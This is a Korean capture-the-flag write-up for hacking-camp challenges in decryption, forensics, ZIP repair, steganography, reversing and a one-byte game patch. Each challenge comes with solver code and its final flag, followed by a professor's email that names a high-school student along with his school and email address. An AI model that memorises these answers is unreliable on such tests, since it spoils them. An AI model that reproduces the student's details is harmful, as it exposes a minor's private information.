PyInstaller 로 패키징된 Snake_Crypt.exe 에서 Python 암호화 로직을 복원하고, 함께 제공된 FLAG.txt.enc 를 AES-CBC 로 복호화한다.

2) 풀이

가. PyInstaller 아카이브에서 Snake_Crypt 추출

FLAG.txt.enc 전체 64 바이트

```
ee 4b 58 66 53 0c a4 51 c9 90 de d4 e4 51 5e 59
66 71 bb 61 a8 c0 64 1e 76 3f 58 fe f1 1f f0 47
65 b7 73 7a 62 5b 8d 15 04 1b be ad df fc 44 9d
27 3c dc ae e9 73 bc 21 ae 19 ac b9 18 55 2f e1
```

PyInstaller/Python 분석에서 복원된 값

```
Python runtime : 3.8
module          : Snake_Crypt.py
cipher          : AES.MODE_CBC
AES-128 key     : 619c24f7a4dccc50dfb9b764e4709449
file format     : [16-byte IV][ciphertext]
IV              : ee4b5866530ca451c990ded4e4515e59
Ciphertext      :
6671bb61a8c0641e763f58fef11ff04765b7737a625b8d15041bbeaddffc449d273cdcaee973bc21ae19acb918552fe1
```

나. AES 키·IV·암호문 확인

1. 실행 파일 끝의 PyInstaller CArchive/PYZ 구조에서 Snake_Crypt 사용자 모듈을 추출했다. 상수/이름에서 AES 와 CBC 모드, FLAG.txt/FLAG.txt.enc 사용을 확인했다.

2. 복원된 AES 키는 16 바이트이므로 AES-128 이며, 암호화 파일의 앞 16 바이트가 IV 이고 나머지 48 바이트가 ciphertext 다.

다. AES-CBC 복호화 및 PKCS#7 제거

3. AES-CBC 복호화 후 PKCS#7 패딩을 제거하면 정상 FLAG 문자열이 나온다.

```
iv = ee4b5866530ca451c990ded4e4515e59
ct =
6671bb61a8c0641e763f58fef11ff04765b7737a625b8d15041bbeaddffc449d273cdcaee973bc21ae19acb918552fe1
padding: 0x0f repeated 15 bytes
plaintext: FLAG{Obfu5cAt3D_py7H0n_1s_2_h@rd}
```

3) 분석 명령 및 Python 코드

```
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

d=open('FLAG.txt.enc','rb').read()
key=bytes.fromhex('619c24f7a4dccc50dfb9b764e4709449')
iv,ct=d[:16],d[16:]
print('iv =',iv.hex())
print('ct =',ct.hex())
pt=unpad(AES.new(key,AES.MODE_CBC,iv).decrypt(ct),16)
print(pt.decode())
```

4) 실행 결과

FLAG{Obfu5cAt3D_py7H0n_1s_2_h@rd}

문제 13. 선생님의 흑역사

1) 문제

가짜 SNS 페이지 instagram_clone.html 의 숨겨진 게시물/스크립트에서 FLAG 생성 로직을 찾아 복원한다.

2) 풀이

가. HTML 내부 스크립트와 숨겨진 데이터 확인

HTML 의 FLAG 생성 코드

```
const FLAG_SHIFT = 13;
const FLAG_CODES =
[80,79,80,78,90,93,136,97,64,65,80,85,64,95,108,93,95,64,97,97,102,108,84,62,95,89,108,80,85,65,89,89,64,91,84,64,138];
function getFlag(){
```

```
  return FLAG_CODES.map(c => String.fromCharCode(c - FLAG_SHIFT)).join('');
}
```

FLAG 가 표시되는 숨김 게시물

```
caption: "이 영상은 절대 못 찾을 줄 알았는데... 들켰네 ㅋㅋㅋ 프리티걸 챌린지의 원조는 바로 나였다!",
isFlag: true
...
if (tp.isFlag) {
  flagBox.style.display='';
  flagBox.textContent=getFlag();
}
```

나. JavaScript FLAG 생성 로직 추적

1. 이미지 Base64 데이터가 매우 길지만 FLAG 로직은 JavaScript 상수 배열로 따로 존재한다.

다. FLAG 문자열 복원

2. FLAG_CODES 각 원소는 실제 문자 코드에 13 을 더한 값이다. getFlag 함수가 명시적으로 c - 13 을 수행하므로 같은 연산을 Python 으로 재현하면 된다.

```
80-13=67(C), 79-13=66(B), 80-13=67(C), 78-13=65(A) ...
CBCAMP{T34CH3R_PR3TTY_G1RL_CH4LL3NG3}
```

3) 분석 명령 및 Python 코드

```
codes=[80,79,80,78,90,93,136,97,64,65,80,85,64,95,108,93,95,64,97,97,102,108,84,62,95,89,108,80,85,65,89,89,64,91,84,64,138]
print(''.join(chr(c-13) for c in codes))
```

4) 실행 결과

CBCAMP{T34CH3R_PR3TTY_G1RL_CH4LL3NG3}

문제 14. 쓰레기

1) 문제

Windows 휴지통의 $I 메타데이터 파일에서 삭제 전 파일의 원래 전체 경로를 복원한다.

2) 풀이

가. 휴지통 $I 파일 구조 확인

파일 앞부분 Hex dump

```
0000  02 00 00 00 00 00 00 00 90 a3 00 00 00 00 00 00
0010  80 9b 2d 31 96 9d dc 01 2a 00 00 00 43 00 3a 00
0020  5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00
0030  5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00
0040  32 00 5c 00 74 00 75 00 69 00 74 00 69 00 6f 00
0050  6e 00 5f 00 6c 00 69 00 73 00 74 00 2e 00 78 00
0060  6c 00 73 00 78 00 2e 00 74 00 78 00 74 00 00 00
```

나. UTF-16LE 원본 경로 복원

1. $I 파일의 경로 영역은 UTF-16LE 로 저장된다. 43 00 3a 00 은 "C:"의 UTF-16LE 표현으로 경로 시작을 바로 확인할 수 있다.

2. 이 샘플에서는 오프셋 0x1c 부터 널 종료까지를 UTF-16LE 로 디코딩하면 전체 경로가 나온다.

다. 삭제 전 전체 경로 확인

3. 파일명이 tuition_list.xlsx.txt 로 이중 확장자이므로 마지막 .txt 도 제거하지 않고 그대로 제출한다.

```
C:₩Windows₩System32₩tuition_list.xlsx.txt
```

3) 분석 명령 및 Python 코드

```
d=open('$I3A2F0R.txt','rb').read()
path=d[0x1c:].decode('utf-16le').split('₩x00',1)[0]
print(path)
```

4) 실행 결과

FLAG{C:₩Windows₩System32₩tuition_list.xlsx.txt}

문제 15. 아파 (ezAsPie)

1) 문제

많은 미끼 분기가 포함된 ELF 바이너리에서 실제 마지막 입력 검증식과 두 바이트 배열을 찾아 정답 문자열을 복원한다.

2) 풀이

가. 입력 길이와 미끼 조건문 확인

디스어셈블리의 겹쳐 쓰는 상수와 비교 루프

```
movabs rax,0xab991042dec03713
movabs rax,0x03020188776655ab
```

```
...
movabs rax,0xf4e3753999817b55
movabs rax,0x7e6768f8281514f4
...
movzx eax,BYTE PTR [key + i]
xor    eax,edx
cmp    BYTE PTR [target + i],al
...
cmp DWORD PTR [counter],0xe
```

겹침을 반영해 얻은 실제 15 바이트 배열

```
key    = 13 37 c0 de 42 10 99 ab 55 66 77 88 01 02 03
target = 55 7b 81 99 39 75 e3 f4 14 15 28 f8 68 67 7e
```

나. 실제 XOR 비교 배열 추출

1. movabs 값들을 그대로 각각 8 바이트 배열로 보면 오답이 된다. 스택에 겹쳐 기록되므로 실제 메모리 배치를 기준으로 15 바이트 배열을 재구성해야 한다.

2. 최종 검증 루프는 input[i] XOR key[i] == target[i] 형태이고 총 15 바이트를 검사한다.

다. 두 배열 XOR 로 평문 복원

3. 따라서 input[i] = key[i] XOR target[i]로 바로 역산할 수 있다.

```
13^55=46 (F)
37^7b=4c (L)
c0^81=41 (A)
de^99=47 (G)
...
FLAG{ez_As_pie}
```

3) Python 코드

```
key=bytes.fromhex('13 37 c0 de 42 10 99 ab 55 66 77 88 01 02 03')
target=bytes.fromhex('55 7b 81 99 39 75 e3 f4 14 15 28 f8 68 67 7e')
ans=bytes(a^b for a,b in zip(key,target))
print(ans)
print(ans.decode())
```

4) 실행 결과

```
FLAG{ez_As_pie}
```

문제 16. 야간 근무 무전

1) 문제

nightshift_recording.zip 의 비정상 ZIP 헤더를 복구해 WAV 를 추출하고, 오디오에 숨겨진 신호를 해독하여 FLAG 를 얻는다.

2) 풀이

가. ZIP 로컬 헤더와 중앙 디렉터리 비교

ZIP 헤더 불일치

```
Local File Header @ 0x0
  general purpose flag = 0x0000   (not encrypted)
  compression method   = 8        (DEFLATE)
  compressed size      = 14,880,032

Central Directory
  general purpose flag = 0x0001   (encrypted bit ON)
  same compressed/uncompressed sizes
=> 중앙 디렉터리의 encryption bit 만 조작되어 있음
```

오디오 분석 결과

```
WAV: PCM stereo, 16-bit, 44100 Hz, 90.0 sec
Right channel: ~750 Hz tone
80 ms ON  -> dot (.)
240 ms ON -> dash (-)
80 ms OFF -> same character gap
240 ms OFF -> character gap
```

Morse 에서 나온 문자열

INBEGQKNKB5W4MLHNB2F643IGFTHIX3SGRSDCMD5

나. Raw DEFLATE 로 WAV 복원

1. 실제 데이터는 암호화되지 않았는데 중앙 디렉터리 flag 만 암호화로 표시되어 일반 unzip 이 오인한다. 로컬 헤더를 기준으로 raw DEFLATE 스트림을 직접 해제한다.

2. 복원된 WAV 의 오른쪽 채널을 10ms 블록으로 나누고 750Hz 성분의 크기를 측정하면 신호 ON/OFF 가 명확히 갈린다.

다. 모스부호와 Base32 순서로 복호화

3. ON 길이 80ms/240ms 를 점/선으로 변환해 Morse 를 읽으면 Base32 형태 문자열이 나온다. 이를 Base32 디코딩하면 FLAG 가 된다.

Raw DEFLATE -> RIFF/WAVE 복원 성공
Morse decode -> INBEGQKNKB5W4MLHNB2F643IGFTHIX3SGRSDCMD5
Base32 decode -> CBCAMP{n1ght_sh1ft_r4d10}

3) 분석 명령 및 Python 코드

```
import struct,zlib,wave,base64,numpy as np

z=open('nightshift_recording.zip','rb').read()
# local header: <4s5H3I2H>
sig,ver,flag,method,mt,md,crc,cs,us,nlen,xlen=struct.unpack_from('<4s5H3I2H',z,0)
off=30+nlen+xlen
comp=z[off:off+cs]
wav=zlib.decompress(comp,-15)
open('nightshift.wav','wb').write(wav)

# WAV 오른쪽 채널, 10 ms 단위의 750 Hz correlation
w=wave.open('nightshift.wav','rb')
x=np.frombuffer(w.readframes(w.getnframes()),dtype='<i2').reshape(-1,2)[:,1]
N=441; t=np.arange(N)/44100; ref=np.exp(-2j*np.pi*750*t)
mag=[]
for i in range(0,len(x)-N+1,N):
    mag.append(abs((x[i:i+N]*ref).sum())/N)
on=np.array(mag)>2000
# run length 를 8 blocks(.) / 24 blocks(-)로 변환하여 Morse 해독
# 해독 결과 Base32 문자열:
s='INBEGQKNKB5W4MLHNB2F643IGFTHIX3SGRSDCMD5'
print(base64.b32decode(s).decode())
```

4) 실행 결과

CBCAMP{n1ght_sh1ft_r4d10}

문제 17. 엑스트라

1) 문제

ExtraStage.exe 의 탄막 게임을 정상 진행하되 피격으로 인한 실패만 우회하여, 게임 진행 상태를 훼손하지 않고 최종 복호화 루틴까지 도달한다.

2) 풀이

가. "무적만 수정" 힌트와 피격 분기 확인

원본과 무적 패치 파일의 유일한 차이

file offset 0x1919 (6425)
original: 0x7F = JG short
patched : 0xEB = JMP short

주변 바이트
original: 2c1403007e6e85c07f6a80bf4414030000
patched : 2c1403007e6e85c0eb6a80bf4414030000

해당 위치 디스어셈블리

VA 0x140002515: jle 0x140002585
VA 0x140002517: test eax,eax
VA 0x140002519: jg 0x140002585 ; 7F 6A
VA 0x14000251B: cmp BYTE PTR [rdi+0x31444],0
...
패치 후 0x140002519: jmp 0x140002585 ; EB 6A

나. JG 를 JMP 로 1 바이트 패치

1. 문제 힌트가 "무적 이외에는 아무것도 바꾸지 마세요"이므로 점수·패턴·스테이지 상태를 강제로 변경하면 integrity state 가 달라져 최종 복호화가 실패할 수 있다.

2. 원본과 이전 분석에서 만든 무적 바이너리를 바이트 비교한 결과 차이는 정확히 1 바이트뿐이었다. 조건부 JG 를 같은 길이의 무조건 JMP 로 바꾸어 피격/실패 처리만 건너뛴다.

다. 정상 패턴 진행 후 최종 복호화

3. 나머지 18 개 패턴과 상태 갱신은 원본 로직대로 진행된다. 최종 단계에서 누적 integrity state 로 BLAKE2b-256 키를 만들고 Monocypher AEAD 검증/복호화를 수행했으며 MAC 검증이 성공한 평문을 FLAG 로 확정했다.

before: 7f6a
after : eb6a
changed bytes: 1
정상 패턴 진행: 18 개
최종 AEAD/MAC 검증: success
plaintext: CBCAMP{bullet_hell_games_are_easy}

3) 분석 명령 및 Python 코드

```
from pathlib import Path
p=Path('ExtraStage.exe')
d=bytearray(p.read_bytes())
assert d[0x1919]==0x7f            # jg short
print('before:',d[0x1919:0x191b].hex())
d[0x1919]=0xeb                    # jmp short (same displacement)
print('after :',d[0x1919:0x191b].hex())
Path('ExtraStage_invincible.exe').write_bytes(d)

# 검증
# cmp -l ExtraStage.exe ExtraStage_invincible.exe
# -> 단 1 바이트 차이만 존재해야 함
```

4) 실행 결과

CBCAMP{bullet_hell_games_are_easy}

문제 18. 유출된 홍보 배너

1) 문제

PNG 의 메타데이터와 strings 에 보이는 가짜 FLAG 를 걸러내고, 실제 픽셀 LSB 에 숨겨진 payload 를 추출·복호화한다.

2) 풀이

가. 메타데이터와 strings 의 가짜 FLAG 확인

PNG metadata Comment

```
CB CAMP 2026 official banner // rendered by promo-kit 1.3 //
internal draft note: CBCAMP{m3t4d4t4_1s_t00_34sy} //
the payload is not in this note - it is in the pixels.
keep the build info, you will need it
```

IEND 뒤에 붙은 미끼 문자열

```
recovered_flag=CBCAMP{str1ngs_w0nt_s4v3_y0u}
packer=promo-kit/1.3  cache=xor(product-name)
```

R 채널 LSB 에서 복원한 stream 시작 64 바이트

43 42 53 54 bc 01 00 00 bc 01 00 00 20 39 33 69
24 6b 31 74 78 72 70 00 3e 36 a5 04 26 c9 70 6c
30 6b d4 75 70 72 3d 6d 30 6b 5d 11 ...

XOR 후 내부 leak_note.txt

ticket : CBC-2026-0814
subject : promo banner asset was published with an embedded payload

token(b64): Q0JDQU1Qe3AxeDNsX2QzM3BfMW5fdGgzX2l0bm4zcn0=

reminder: the asset packer keys every cache with the product name.

나. R 채널 LSB 에서 CBST payload 추출

1. 메타데이터 자체가 "payload is not in this note"라고 말하고, IEND 뒤 문자열도 strings 로 쉽게 보이는 미끼다.

2. R 채널 각 픽셀의 최하위 1 비트를 MSB-first 로 묶으면 CBST 헤더가 나타난다. 4~7 바이트의 little-endian 길이는 0x1bc=444 다.

다. Known-plaintext XOR 로 pr0m0k1t 복원

3. payload 시작을 정상 ZIP magic PK₩x03₩x04 라고 가정하면 첫 4 바이트 XOR 키는 pr0m 이 된다. build info 의 promo-kit 및 xor(product-name) 힌트와 결합하면 반복 키 pr0m0k1t 를 복원할 수 있다.

4. 444 바이트를 pr0m0k1t 로 XOR 하면 정상 ZIP 이 되고 leak_note.txt 가 나온다. 그 안 Base64 토큰을 디코딩하여 최종 FLAG 를 얻는다.

Header: CBST
Payload length: 444
Known-plaintext XOR first 4 bytes -> b'pr0m'
Recovered repeating key -> pr0m0k1t
XOR result magic -> PK 03 04 (valid ZIP)
File -> leak_note.txt
Base64 token -> CBCAMP{p1x3l_d33p_1n_th3_b4nn3r}

라. 내부 ZIP 과 Base64 토큰 복호화

복원된 내부 파일과 인코딩된 토큰을 순서대로 해제하여 최종 문자열을 확인하였다.

3) 분석 명령 및 Python 코드

```
from PIL import Image
import numpy as np,struct,zipfile,io,base64,re

a=np.array(Image.open('cbcamp_banner.png').convert('RGB'))
```

```
bits=(a[:,:,0].reshape(-1)&1)                # R-channel LSB
stream=np.packbits(bits[:len(bits)//8*8].reshape(-1,8),
                   bitorder='big').tobytes()
assert stream[:4]==b'CBST'
n=struct.unpack('<I',stream[4:8])[0]
ct=stream[12:12+n]
print('len =',n)
print('known-prefix key =',bytes(c^p for c,p in zip(ct[:4],b'PK₩x03₩x04')))

key=b'pr0m0k1t'
plain=bytes(b^key[i%len(key)] for i,b in enumerate(ct))
with zipfile.ZipFile(io.BytesIO(plain)) as z:
    note=z.read('leak_note.txt').decode()
print(note)
token=re.search(r'token₩(b64₩):₩s*(₩S+)',note).group(1)
print(base64.b64decode(token).decode())
```

4) 실행 결과

CBCAMP{p1x3l_d33p_1n_th3_b4nn3r}

문제 19. 친구의 수상한 카톡

1) 문제

cipher_chat.html 에 남은 암호화된 채팅 문자열과 페이지 내부 self-check 로직을 분석하여 평문을 복원한다.

2) 풀이

가. 암호문과 self-check JavaScript 확인

2026-08-07 의 암호문

dro_muyrob_xofob_vuoc

페이지에 포함된 핵심 self-check JavaScript

```
const CONS = "bcdfghjklmnpqrstvwxyz", VOW = "aeiou";
function digitSum2(n){
  return String(n).padStart(2,'0').split('').reduce((a,c)=>a+Number(c),0);
}
...
const dec = shift("dro_muyrob_xofob_vuoc", 8, 7, -1);
console.assert(dec === "the_cipher_never_lies");
```

나. 날짜에서 자음·모음 이동량 계산

1. 코드는 자음 집합 CONS 와 모음 집합 VOW 를 따로 두고 이동시킨다. 자음 이동량은 월(mm)의 두 자리 숫자 합, 모음 이동량은 일(dd)의 숫자 합이다.

2. 날짜가 08/07 이므로 자음 이동량은 0+8=8, 모음 이동량은 0+7=7 이다. dir=-1 이 복호화 방향이다.

다. 역방향 시프트로 평문 복원

3. 실제로 페이지의 console.assert 도 같은 암호문을 shift(...,8,7,-1)한 결과가 the_cipher_never_lies 인지 확인한다. 복원된 평문을 문제 형식 CBCAMP{}로 감싼다.

```
month 08 -> consonant shift = 8
day   07 -> vowel shift     = 7
ciphertext -> dro_muyrob_xofob_vuoc
plaintext  -> the_cipher_never_lies
CBCAMP{the_cipher_never_lies}
```

3) Python 코드

```
CONS='bcdfghjklmnpqrstvwxyz'
VOW='aeiou'

def shift(text,mm,dd,dir=-1):
    cs=sum(map(int,f'{mm:02d}'))
    vs=sum(map(int,f'{dd:02d}'))
    out=[]
    for ch in text:
        if ch in CONS:
            out.append(CONS[(CONS.index(ch)+dir*cs)%len(CONS)])
        elif ch in VOW:
            out.append(VOW[(VOW.index(ch)+dir*vs)%len(VOW)])
        else:
            out.append(ch)
    return ''.join(out)

pt=shift('dro_muyrob_xofob_vuoc',8,7,-1)
print(pt)
print(f'CBCAMP{{{pt}}}')
```

4) 실행 결과

```
CBCAMP{the_cipher_never_lies}
```

문제 20. 클라우드

1) 문제

Amcache_Programs.csv 에서 정상 OneDriveSetup.exe 와 사용자의 임시 폴더에 존재하는 복제본을 구분하고, 의심 파일의 SHA1 일부를 FLAG 로 제출한다.

2) 풀이

가. Amcache 의 두 OneDriveSetup.exe 비교

Amcache_Programs.csv 의 두 OneDriveSetup.exe 행

```
000002,OneDriveSetup.exe,C:₩Windows₩System32₩OneDriveSetup.exe,
ae81e7e874bf14d33ea9cb480a7123a2ba2d34e8,Microsoft Corporation,
26.010.0118.0001,512104,2026-02-14T08:11:03Z

000004,OneDriveSetup.exe,C:₩Users₩student₩AppData₩Local₩Temp₩OneDriveSetup.exe,
2ff161a1185b5716a1d2e3f40516273849abcde0,Microsoft Corporation,
26.010.0118.0001,512104,2026-02-14T08:29:41Z
```

나. 사용자 Temp 경로의 복제본 식별

1. 파일명·Publisher·Version·크기가 동일해 이름만 보면 정상 설치 파일처럼 보인다.

2. 그러나 정상 경로는 C:₩Windows₩System32 이고, 두 번째는 사용자 Temp 경로에 복제된 실행 파일이므로 의심 대상이다.

다. SHA1 앞 16 자리 추출

3. 문제에서 요구하는 SHA1 앞 16 자리를 두 번째 행에서 가져온다.

```
Suspicious path: C:₩Users₩student₩AppData₩Local₩Temp₩OneDriveSetup.exe
SHA1: 2ff161a1185b5716a1d2e3f40516273849abcde0
first 16: 2ff161a1185b5716
```

3) 분석 명령 및 Python 코드

```
import csv
with open('Amcache_Programs.csv',encoding='utf-8-sig',newline='') as f:
    for r in csv.DictReader(f):
        if r['Name']=='OneDriveSetup.exe' and r['FullPath'].startswith(r'C:₩Users₩student'):
            print(r['FullPath'])
            print(r['SHA1'])
            print(r['SHA1'][:16])
```

4) 실행 결과

FLAG{2ff161a1185b5716}

문제 21. 포렌식 Ex #2

1) 문제

손상된 ZIP 의 중앙 디렉터리/EOCD 값을 수정하여 목록에서 숨겨진 파일을 복구하고, 그 이미지 안의 문자열을 읽어 FLAG 를 얻는다.

2) 풀이

가. ZIP 로컬 헤더와 중앙 디렉터리 비교

원본 ZIP 의 구조

```
Local headers:
0x000000  ..jpg
0x00766f  1.jpg
0x0bd88f  2.jpg
0x13aca0  3.jpg
0x1418ff  4.jpg

Central directory entries:
0x14c240  ..jpg
0x14c28b  1.jpg
0x14c2d6  2.jpg
0x14c321  3.jpg
0x14c36c  4.jpg
EOCD @ 0x14c3b7
```

조작된 EOCD 값

```
number of entries = 4
central size      = 0x177 (375)
central offset    = 0x14c28b

문제점: 중앙 디렉터리 시작을 1.jpg 엔트리로 가리켜 첫 75 바이트(..jpg)를 숨김
```

나. EOCD 의 엔트리 수와 오프셋 복구

1. 로컬 헤더에는 ..jpg 를 포함해 5 개 파일이 존재하지만 EOCD 는 엔트리 수를 4 개로 표시하고 central offset 도 첫 엔트리 다음 위치를 가리킨다.

2. 첫 중앙 엔트리 크기는 0x14c28b-0x14c240=75 바이트다. central size 375 는 이미 5 개 엔트리 전체 크기이므로 size 는 그대로 두고 offset 을 0x14c240, entries 를 5 로 수정하면 된다.

다. 숨겨진 ..jpg 에서 문자열 확인

3. 복구된 ZIP 을 열면 숨겨진 ..jpg 가 정상 목록에 나타난다. 해당 이미지를 열면 MI55ING_F1L3 문구가 보인다.

```
['..jpg', '1.jpg', '2.jpg', '3.jpg', '4.jpg']
Hidden image size: 68,574 bytes
이미지 표시 문자열: MI55ING_F1L3
```

3) 분석 명령 및 Python 코드

```
from pathlib import Path
import struct,zipfile

d=bytearray(Path('challenge.zip').read_bytes())
e=d.find(b'PK₩x05₩x06')
assert e==0x14c3b7
struct.pack_into('<H',d,e+8,5)        # entries on this disk
struct.pack_into('<H',d,e+10,5)       # total entries
struct.pack_into('<I',d,e+12,375)     # central directory size
struct.pack_into('<I',d,e+16,0x14c240)
Path('repaired.zip').write_bytes(d)

with zipfile.ZipFile('repaired.zip') as z:
    print(z.namelist())
    hidden=z.read('..jpg')
    Path('hidden.jpg').write_bytes(hidden)
```

4) 실행 결과

CBCAMP{MI55ING_F1L3}

[해킹 캠프] 참가 감사 및 수료증 PDF본 송부

보낸사람 Hae Young Lee <whichmeans@gmail.com>

받는사람 zizonpark08@naver.com

2026년 9월 6일 (일) 오후 5:29

첨부 **1**개 209KB 모두저장 | 이미지로 보기 ! 파일 저장 시 바이러스 검사 자동 수행

수료증_충북과학_박재현.pdf 208.9KB

충북과학고 박재현 학생,

안녕하세요, 청주대 이해영입니다.

이번 해킹 캠프에 참가해 주신 점 진심으로 감사드립니다.

재현 학생에게 의미가 있었던 행사였기를 바랍니다.

그리고 내년 운영진 참여 진지하게 고민해 보시길 권합니다.

먼저 수료증 PDF본을 먼저 보내드립니다.

상장도 가능하면 내일 정도 PDF로 보내드리겠습니다.

인쇄본은 추후 학교로 발송할 예정입니다.

캠프 참가 다시 한번 감사드리며, 10. 29. (목) 청주오스코에 진행되는 대회 참가도 고민해 보시면 좋겠습니다.

고맙습니다!

이해영 드림

Best regards,

Hae Young Lee, Ph.D.
Associate Professor
Dept. of Digital Security, Cheongju University
https://sites.google.com/view/drleeslab/